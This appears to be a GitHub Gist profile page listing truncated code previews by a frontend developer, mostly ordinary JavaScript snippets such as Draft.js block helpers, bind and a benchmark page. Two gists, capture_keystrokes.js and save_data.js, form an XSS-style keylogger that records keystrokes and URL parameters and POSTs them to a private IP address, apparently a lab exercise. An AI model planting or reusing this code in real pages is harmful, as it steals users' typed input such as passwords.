Ekaterina Zakharenkova Katerina198b

Frontend Developer

Katerina198b / heap.js

Created January 22, 2022 21:03

heap.js

Katerina198b / gist:55ebc35d6e41396ff63c482fb5dc5b4b

Last active March 4, 2021 08:04

webpack.js

Katerina198b / capture_keystrokes.js

Last active February 4, 2021 18:03

	const map = {};
	document.body.addEventListener("keydown", ({key, target}) => {
	if (!target) {
	return;
	}
	const mapKey = target.tagName + (target.className \|\| '');
	map[mapKey] = (map[mapKey] \|\| '') + key;
	});
	window.addEventListener("unload", function() {
	sendData(map);

Katerina198b / save_data.js

Last active February 4, 2021 17:33

	function sendData(data) {
	const xhr = new XMLHttpRequest();
	xhr.open("POST", "https://192.168.149.128", true);
	xhr.setRequestHeader('Content-Type', 'application/json');
	xhr.send(JSON.stringify(data));
	}

	const params = new URLSearchParams(window.location.href);
	params.forEach((key, value) => {
	sendData({key: value})

Katerina198b / xss_params_js.html

Created February 4, 2021 10:42

	<!DOCTYPE html>
	<html lang="en">
	<head>
	<meta charset="UTF-8">
	<title>XSS</title>
	</head>
	<body>
	<p id="result"></p>
	</body>
	<script type="application/javascript">

Katerina198b / index.html

Created September 7, 2020 11:30

loop #jsbench #jsperf

	<!DOCTYPE html>
	<html>
	<head>
	<meta charset="utf-8"/>
	<title>loop</title>
	<script src="https://cdnjs.cloudflare.com/ajax/libs/benchmark/1.0.0/benchmark.min.js"></script>
	<script src="./suite.js"></script>
	</head>
	<body>
	<h1>Open the console to view the results</h1>

Katerina198b / new-block-draft.js

Created May 2, 2020 11:26

	function addEmptyBlock(editorState) {
	const newBlock = new ContentBlock({
	key: genKey(),
	type: 'unstyled',
	text: '',
	characterList: List(),
	});

	const contentState = editorState.getCurrentContent();
	const newBlockMap = contentState.getBlockMap().set(newBlock.key, newBlock);

Katerina198b / ContentState.js

Created April 26, 2020 19:44

	ContentState = {
	“entityMap”:{},
	”blocks”:[
	{“key”:”fe4s0”,”text”:”Header”,”type”:”header-one”,”depth”:0,
	”inlineStyleRanges”:[],”entityRanges”:[],”data”:{}},
	{“key”:”ff509”,”text”:”complex decorated text”,
	”type”:”unstyled”, ”depth”:0,
	”inlineStyleRanges”:[
	{“offset”:0,”length”:3,”style”:”CODE”},
	{“offset”:1,”length”:5,”style”:”ITALIC”},

Katerina198b / bind.js

Created April 26, 2020 18:35

	function bind(func, context) {
	return function() {
	return func.apply(context, arguments);
	};
	}

Katerina198b / cat-singletone.js

Created April 26, 2020 17:53

	const cat = {
	name: 'Snowball',
	talk() {
	console.log('Мяу');
	},
	getInstance() {
	return this;
	}
	}
	const instance1 = cat.getInstance()